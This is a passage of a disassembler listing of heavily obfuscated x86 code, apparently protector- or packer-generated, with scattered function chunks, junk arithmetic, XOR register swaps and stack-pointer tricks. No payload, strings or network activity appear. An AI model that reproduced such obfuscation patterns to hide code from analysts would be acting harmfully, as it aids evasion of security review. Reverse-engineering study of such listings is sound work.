FOR sub_5992DA ; --------------------------------------------------------------------------- loc_59F0FC: ; CODE XREF: sdfs____:005A252Cj pop esp sub esp, 4 mov [esp], ecx mov ecx, esp push esi jmp loc_5A8860 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_59F10B: ; CODE XREF: sub_5ABEF6-6751j mov eax, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], ebx push esi mov esi, esp push edi jmp loc_5A531E ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_59F126: ; CODE XREF: sub_5A2166-7962j mov [esp-4+arg_0], ecx jmp loc_59BD33 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59F12E: ; CODE XREF: sub_5A35F6:loc_59C004j ; sub_599A61+CD0Cj jmp loc_5A75E0 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A71F0 loc_59F133: ; CODE XREF: sub_5A71F0+27j mov esi, 75B62E55h sub eax, esi pop esi jmp loc_5A1E0B ; END OF FUNCTION CHUNK FOR sub_5A71F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59F140: ; CODE XREF: sub_5A16B8+29D3j sub edx, 4D49565Ch jmp loc_59933C ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F14B: ; CODE XREF: sub_5AA2D1-7791j mov [esp-14h+arg_10], ebp mov ebp, 9FD7FE1h sub edi, ebp pop ebp sub edi, edx add edi, 9FD7FE1h pop edx not edi sub edi, 8A31DFF4h jmp loc_59FD62 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59F16C: ; CODE XREF: sub_5A477C-800Ej push 366Dh mov [esp-4+arg_0], eax jmp loc_5AD9C9 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F179: ; CODE XREF: sub_5AA810:loc_59F7FBj ; sub_5AA2D1-75EAj mov ecx, 6CA5919h add edi, ecx pop ecx sub edi, 19DF559Fh jmp loc_5AFE61 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59F18C proc near ; CODE XREF: sub_5AD243-10032j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A41D SIZE 0000003B BYTES ; FUNCTION CHUNK AT 005A57E0 SIZE 00000012 BYTES push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_59A41D sub_59F18C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59F19A: ; CODE XREF: sub_5A3992-838Cj dec edi jmp loc_5AAE09 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F1A0: ; CODE XREF: sub_5992DA+ACD1j ; sub_5B01F7-4BEAj pop esp and eax, ecx push [esp+20h+var_22+2] pop ecx add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp+20h+var_22+2], eax sub esp, 4 mov [esp+24h+var_26+2], esi jmp loc_5AEE4A ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_59F1C3 proc near ; CODE XREF: sub_59A94C-BDFj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AAF4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D9B2 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059F90F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059FB73 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A0F3B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A0FB0 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005A272B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A4090 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A6156 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A6B2F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A742A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005ADA42 SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp push 0EB4h jmp loc_5A6156 sub_59F1C3 endp ; =============== S U B R O U T I N E ======================================= sub_59F1F3 proc near ; CODE XREF: sub_59FC02-B7j ; sub_5AC803-3CF5j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059A8B2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059AD89 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059CB94 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A336B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A35B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3650 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A52D9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A68C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A769B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A76B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7B4C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9836 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005AAE6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AC370 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AD546 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AD6CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AE1BC SIZE 00000028 BYTES sub esp, 4 mov [esp-4+arg_0], edi mov edi, 5FEA6DE2h jmp loc_5A769B sub_59F1F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59F206: ; CODE XREF: sub_5A2E28-8261j mov ebx, [esp+0] add esp, 4 push edi push ebp jmp loc_5A99B5 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59F216: ; CODE XREF: sub_59EE3E-1133j sub edx, 60DC5EBFh mov esi, edx mov edx, [esp+4+var_4] jmp loc_5A09AD ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59F226: ; CODE XREF: sub_59D6B8-865j sub byte ptr [esp+0Ch+var_C], al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59F22F: ; CODE XREF: sub_5AB207-25D2j add edi, 4 jmp loc_59DC7C ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59F23A: ; CODE XREF: sub_5A3992-1048j sub eax, ebx sub eax, 477312FEh push [esp+8+var_8] pop ebx add esp, 4 mov ecx, [esp+4+var_4] jmp loc_5A9271 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F253: ; CODE XREF: sub_5A7BA0-259Ej ; sub_5AA2D1-607j add [esp-20h+arg_20], edi jmp loc_5A3AC7 ; --------------------------------------------------------------------------- loc_59F25C: ; CODE XREF: sub_5AA2D1-E38Dj push eax push esi mov esi, 33183897h sub esi, 0BCD1D6EEh mov eax, esi pop esi add ebx, eax mov eax, [esp-8+arg_4] add esp, 4 sub esp, 4 mov [esp-8+arg_4], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 jmp loc_5A635F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F28D: ; CODE XREF: sub_5992DA+1CDDj xor dh, 1Ah mov ah, dh pop edx jmp loc_59EBD5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F298: ; CODE XREF: sub_5AA2D1-7B9j mov [esp-4+arg_0], ecx mov ecx, 59AC6CA3h xor ecx, 169735B2h not ecx jmp loc_5A9227 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59F2AD: ; CODE XREF: sdfs____:005A34B2j push edi mov edi, 4C520098h add ebp, edi pop edi xor ebp, 32FC077Ch xor ebp, 0F4810E7Bh jmp loc_59A74F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59F2C7: ; CODE XREF: sub_5AB08D-111D8j pop edx add ebp, eax pop eax push esi jmp loc_5AFF8E ; END OF FUNCTION CHUNK FOR sub_5AB08D ; =============== S U B R O U T I N E ======================================= sub_59F2D1 proc near ; CODE XREF: sub_5A477C+E4j ; sub_5A477C+A476j ; DATA XREF: ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599222 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599689 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059A5C2 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059C9C6 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059CDB4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1234 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A16C1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A73BB SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AAA8D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD162 SIZE 00000016 BYTES mov ax, [esp+0] push 310Dh mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], esp push edx jmp loc_5A73BB sub_59F2D1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F2E9: ; CODE XREF: sub_5992DA+15F9Cj shl ebp, 5 add ebp, 0D2459004h jmp loc_5A4980 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_59F2F7: ; CODE XREF: sub_5A917C-B932j push [esp+10h+var_C] jmp loc_5A3321 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_59F300: ; CODE XREF: sub_5AE40A-1447Aj add ebp, edi pop edi xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] pop esp push 3C33h mov [esp+4+var_4], ecx push esi mov esi, 4 mov ecx, esi jmp loc_5AE9F4 ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F322: ; CODE XREF: sub_5AA2D1:loc_5A7B23j xor ebp, 0EDFFEB8Bh mov edx, ebp pop ebp sub esi, 406F1677h jmp loc_5AE595 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59F336 proc near ; DATA XREF: sdfs____:00598EFCo ; FUNCTION CHUNK AT 005A416A SIZE 00000005 BYTES push dword ptr fs:[edx] jmp loc_5A416A sub_59F336 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59F33E: ; CODE XREF: sub_599D0E+F1B9j pop edx sub bl, dl sub bl, 51h pop dx push eax mov al, 0E5h sub bl, al pop eax sub bl, 2Dh sub bl, al push edx mov dl, 41h shr dl, 1 xor dl, 0Dh add bl, dl pop edx push ecx mov cl, 0F7h inc cl dec cl jmp loc_5A2B53 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_59F368: ; CODE XREF: sub_5A21A4+B0C1j push [esp-8+arg_8] pop ebx pop [esp-8+arg_4] pop esp jmp loc_5A7890 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F376: ; CODE XREF: sub_5992DA+B7ADj sub ecx, 66B078C8h shr ecx, 3 jns loc_5A2EED sub ecx, 0E344CF1h and ecx, 1EFE3C45h ; END OF FUNCTION CHUNK FOR sub_5992DA ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F391: ; CODE XREF: sub_5AA2D1-F68Fj pop eax sub eax, 3403427Dh jmp loc_5A9767 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_59F39C: ; CODE XREF: sub_5A4CF3+7C2j mov edi, 4 add [esp+arg_0], edi pop edi mov edx, [esp-4+arg_0] jmp loc_5AFD26 ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; =============== S U B R O U T I N E ======================================= sub_59F3AE proc near ; CODE XREF: sub_59EE3E-3049j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A6C59 SIZE 0000000A BYTES sub esp, 4 jmp loc_5A6C59 sub_59F3AE endp ; =============== S U B R O U T I N E ======================================= sub_59F3B6 proc near ; CODE XREF: sub_5AA2D1:loc_5A8707j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599392 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A4C05 SIZE 0000004E BYTES ; FUNCTION CHUNK AT 005AC2FC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AC70F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ACF82 SIZE 00000010 BYTES push ebp mov ebp, 5AB24E4Ah and edx, ebp pop ebp add edx, 347F6F6Ah jmp loc_5ACF82 sub_59F3B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F3CA: ; CODE XREF: sub_5992DA+F971j sub edx, 2D5C2663h push ebp mov ebp, 413417EBh add edx, ebp pop ebp pop ebx not edx inc edx add edx, 0CCAB9A16h and ebx, edx push [esp-8+arg_4] pop edx add esp, 4 jmp loc_5AC1E7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59F3F1: ; CODE XREF: sub_59D6B8+D525j xchg edi, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], edx mov edx, 4 add ebx, edx mov edx, [esp+0Ch+var_C] add esp, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] pop esp push 138Fh mov [esp+8+var_8], ebx mov ebx, 4 sub eax, 610516A9h add eax, ebx add eax, 610516A9h jmp loc_5A94F4 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_59F430: ; CODE XREF: sub_5B0266+28j push esp push [esp+4+var_4] pop eax add esp, 4 push 82Fh mov [esp+4+var_4], ecx push 4 pop ecx add eax, ecx push [esp+4+var_4] pop ecx push eax jmp loc_59C2B1 ; END OF FUNCTION CHUNK FOR sub_5B0266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F455: ; CODE XREF: sub_5AA2D1+184Cj pop eax add [esp-14h+arg_14], eax mov eax, [esp-14h+arg_10] push edx jmp loc_5A59B8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59F463 proc near ; CODE XREF: sub_59A9E9+11693j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A3AB4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3D11 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005ABA38 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AE2AC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AF8D7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AFB4E SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_5A3D11 sub_59F463 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3D5B loc_59F46E: ; CODE XREF: sub_5A3D5B+742j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A3D5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59F473: ; CODE XREF: sub_5A9EB4-F53Ej xchg edi, [edx+38h] xor [edx+38h], ecx xor ecx, [edx+38h] xor [edx+38h], ecx not ecx xor [edx+38h], ecx xor ecx, [edx+38h] xor [edx+38h], ecx inc dword ptr [edx+38h] jmp sub_5A2E41 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_59F492: ; CODE XREF: sub_5A522E+504Ej not edi jmp loc_59F622 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_59F499: ; CODE XREF: sub_59D37E:loc_5997DEj add ebp, 0A0B3E48Dh mov esi, ebp jmp loc_5A1A2A ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59F4A6: ; CODE XREF: sub_59C979+1AC5j or eax, 685C347Ah sub eax, 27FF828h and edi, eax jmp loc_59C202 ; --------------------------------------------------------------------------- loc_59F4B7: ; CODE XREF: sub_59C979+DC8Aj pop [esp+6+var_6] mov esp, dword ptr [esp+2+var_2] add byte ptr [esp+2+var_2], al pushf jmp loc_5A0FAB ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_59F4C6: ; CODE XREF: sdfs____:0059A751j pop ebp add ecx, 0FFFFFFFFh shr ecx, 6 jmp loc_5A065F ; =============== S U B R O U T I N E ======================================= sub_59F4D2 proc near ; CODE XREF: sub_5AA2D1-94B3j var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599CDE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059B848 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059DE59 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059E1AD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A0C2A SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A1CE3 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A22F9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A3282 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A5311 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6810 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A82C4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A9124 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AA6B9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB85C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ABBB8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005ACD73 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AE483 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AF1A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFC2E SIZE 00000006 BYTES push ebp jmp loc_5A82C4 sub_59F4D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A94C loc_59F4D8: ; CODE XREF: sub_59A94C+21j push [esp+8+var_8] pop ebx jmp loc_5AD2DA ; --------------------------------------------------------------------------- loc_59F4E1: ; CODE XREF: sub_59A94C+14792j pop edx sub ebp, 0BFBB9FADh add ebx, ebp jmp loc_599D6A ; END OF FUNCTION CHUNK FOR sub_59A94C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_59F4EF: ; CODE XREF: sub_59FE51+3D19j pop edx jmp loc_5A6E39 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_59F4F5: ; CODE XREF: sub_59FC02-3865j shr ebp, 6 jmp loc_5AA1D2 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59F4FD: ; CODE XREF: sub_5A0FFF+6504j push 4D88h mov [esp+6+var_8+2], esi jmp sub_5AD84A ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59F50A: ; CODE XREF: sub_5A8215+6C73j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp and ebp, 77EF204Ah push 24ACh mov [esp+8+var_8], edx mov edx, 2205304Ah xor ebp, edx jmp loc_5A8501 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F533: ; CODE XREF: sub_5AA2D1+35F6j jmp loc_5ACE00 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_59F538: ; CODE XREF: sub_5ABB65-2D37j mov [esp+8+var_8], edx jmp loc_5ACDBA ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59F540: ; CODE XREF: sub_5A580F+7BCAj sub edx, 0AD7A8C0Fh neg edx xchg edi, edx not edi xor edx, edi xor edi, edx xor edx, edi push ebp sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 42874D10h jmp loc_59EBC3 ; END OF FUNCTION CHUNK FOR sub_5A580F ; =============== S U B R O U T I N E ======================================= sub_59F566 proc near ; CODE XREF: sub_5AF46F-66C7j ; FUNCTION CHUNK AT 0059A888 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059CA41 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A9390 SIZE 0000001D BYTES push ebp jmp loc_5A9390 sub_59F566 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59F56C: ; CODE XREF: sub_5A79BE-CE75j mov esi, 56CE7DB9h sub ecx, esi pop esi jmp loc_5A55E3 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59F579: ; CODE XREF: sub_5A2E41+469Ej add al, cl pop ecx push ebx mov bl, 0F3h add al, bl pop ebx mov ecx, [esp+14h+var_14] add esp, 4 push 78CFh mov [esp+14h+var_14], ecx push 7258h jmp loc_5A28D5 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- loc_59F59A: ; CODE XREF: sdfs____:005A4760j push 674Bh mov [esp], edx push esp push dword ptr [esp] mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] pop esp add dword ptr [esp+4], 3ABF7CBCh add [esp+4], ecx jmp loc_59DA28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59F5E3: ; CODE XREF: sub_59A7E7+909Bj add ah, ch mov cx, word ptr [esp-4+arg_0] jmp loc_5A5029 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59F5EE: ; CODE XREF: sub_5A0FFF-7C72j not edx xchg edx, [esp+8+var_8] pop edx xchg edx, [esp+4+var_4] push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push 67C2h mov [esp+0Ch+var_C], ebp mov ebp, esp add ebp, 4 jmp loc_59E81A ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59F61B: ; CODE XREF: sub_5A600D+3j add al, bl jmp loc_5A12A8 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_59F622: ; CODE XREF: sub_5A522E-5D9Aj inc edi dec edi add edi, 33BE6841h jmp loc_5A3A9C ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F62F: ; CODE XREF: sub_5A522E-94EBj ; sub_5AA2D1-D855j jmp loc_5A88C1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59F634: ; CODE XREF: sub_59C979+7B38j add ecx, 4 jmp loc_5AF061 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59F63C: ; CODE XREF: sub_59A9E9+3D3Dj push 55E0h mov [esp+14h+var_14], ebx mov bl, dl jmp loc_5A9481 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59F64B: ; CODE XREF: sub_5A477C+8CF5j sub edx, esi push eax mov eax, 614A260Ch sub edx, 3753BBAh sub edx, eax add edx, 3753BBAh pop eax mov esi, [esp-4+arg_0] push edx mov edx, esp jmp loc_59EB9E ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F66D: ; CODE XREF: sub_5AA2D1-C6A9j mov esp, [esp+8+var_8] jmp loc_59BD61 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59F675: ; CODE XREF: sub_5A6BBC-7ADEj dec dl push ebx mov bh, 5 jmp loc_5A28CE ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59F67F: ; CODE XREF: sub_5A477C-6DA7j jnp loc_5A77AC push edi jmp loc_5A7D81 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_59F68B: ; CODE XREF: sub_5AD84A+D46j xchg eax, ecx push 3789h jmp loc_5AD85E ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_59F696: ; CODE XREF: sub_5AB5A9-F797j push [esp+8+var_8] pop edx push 7038h mov [esp+0Ch+var_C], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] jmp loc_5A1109 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F6B5: ; CODE XREF: sub_5AA2D1+98Cj dec edx xor edx, 0A0F276FFh sub ecx, edx pop edx add ecx, 3FA804D2h jmp loc_5A80D6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59F6CA: ; CODE XREF: sub_5A477C+360Dj add eax, 68E918B1h mov esi, eax mov eax, [esp+0] add esp, 4 push ebx jmp loc_5AD458 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_59F6E0: ; CODE XREF: sub_5AF294-5CE4j shr ecx, 5 jnp loc_59C809 jmp loc_59B285 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F6EE: ; CODE XREF: sub_5AA2D1-577Ej push esp pop ebx jmp loc_5A9462 ; --------------------------------------------------------------------------- loc_59F6F5: ; CODE XREF: sub_5AA2D1+4105j add esp, 4 push small 17Eh mov word ptr [esp+2+var_4+2], cx sub esp, 4 mov [esp+6+var_8+2], edx push cx mov cl, 69h jmp sub_5A0327 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_59F715: ; CODE XREF: sub_5996E4+B644j mov esi, [esp+0Ch+var_C] add esp, 4 add esi, ecx jmp loc_5A28F1 ; END 